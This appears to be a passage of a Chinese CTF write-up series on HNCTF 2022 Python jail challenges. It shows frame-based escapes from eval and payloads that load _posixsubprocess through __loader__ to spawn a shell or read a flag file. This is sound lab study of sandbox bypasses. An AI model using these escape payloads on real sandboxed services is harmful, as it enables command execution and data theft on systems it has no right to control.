f_back:它是指向上一个栈帧的指针。在 Python 中,__import__("sys")._getframe().f_back拿到的也是一个栈帧对象。
f_builtins、f_globals、f_locals:对应着当前栈帧的builtins、globals、locals对象。

题解

理解了栈帧的知识,那么就可以通过f_back返回eval外的作用域,然后再通过f_locals获得作用域下的变量,就可以获得right_guesser_question_answer的值了。

所以payload如下:

int(__import__("sys")._getframe().f_back.f_locals['right_guesser_question_answer'])

总结

通过这道题初步了解了Python的栈帧,以及利用栈帧逃逸访问eval外的作用域,修改其中的变量。

NSSCTF: [HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)

本题和上题解法一致。

NSSCTF: [HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)

alt text

可以发现这题把常用的hook的都ban掉了,测试了help、os.system和open也都不能用。

又试了下栈帧逃逸,发现它连 object.__getattr__ 都ban了。

经过搜索找到了WP:https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html

积累到了利用 _posixsubprocess.fork_exec 来RCE。

_posixsubprocess 模块是Python的内部模块,提供了一个用于在UNIX平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 445122222

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在Python的标准库文档中列出,每个版本的 Python 可能有所差异.

在题目的Python3.8环境中,这个函数的声明是这样的:

def fork_exec(
    __process_args: Sequence[StrOrBytesPath] | None, # 传递给新进程的命令行参数,通常为程序路径及其参数的列表
    __executable_list: Sequence[bytes], # 可执行程序路径的列表
    __close_fds: bool, # 如果设置为True,则在新进程中关闭所有的文件描述符
    __fds_to_keep: tuple[int, ...], # 一个元组,表示在新进程中需要保持打开的文件描述符的列表
    __cwd_obj: str, # 新进程的工作目录
    __env_list: Sequence[bytes] | None, # 环境变量列表,它是键和值的序列,例如:["PATH=/usr/bin", "HOME=/home/user"]
    __p2cread: int,
    __p2cwrite: int,
    __c2pred: int,
    __c2pwrite: int,
    __errread: int,
    __errwrite: int, # 以上这些是文件描述符,用于在父子进程间进行通信
    __errpipe_read: int,
    __errpipe_write: int, # 以上两个文件描述符用于父子进程间的错误通信
    __restore_signals: int, # 如果设置为1,则在新创建的子进程中恢复默认的信号处理
    __call_setsid: int, # 如果设置为1,则在新进程中创建新的会话
    __gid_object: SupportsIndex | None,
    __groups_list: list[int] | None,
    __uid_object: SupportsIndex | None, # 以上三个参数用于设置新进程的用户ID和组ID
    __child_umask: int, # 设置新进程的umask
    __preexec_fn: Callable[[], None] # 在新进程中执行的函数,它会在新进程的主体部分执行之前调用
) -> int: ...

那么通过这个函数get shell的方法就是:

_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

但是这道题还把import ban了,所以os和_posixsubprocess需要使用另一个引入方式引入:

__loader__.load_module('os')

__loader__.load_module(name) 也是Python中用于导入模块的一个方法,并且不需要导入其他任何库。

所以最后的payload如下:

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/bash"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)

但是不知道为什么,会一次进入python console,一次进入shell,交替进行。但是只要多试几次就能cat flag了。

总结

通过这道题积累到了通过 __loader__.load_module(name) 引入模块的方式,以及利用 _posixsubprocess.fork_exec 来RCE。

NSSCTF: [HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)

alt text

本题依然可以用上题的payload get shell,但是但是shell秒关,输入任何命令也不见回显,退而求其次考虑直接cat flag:

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat", "flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False, None, None, None, -1, None)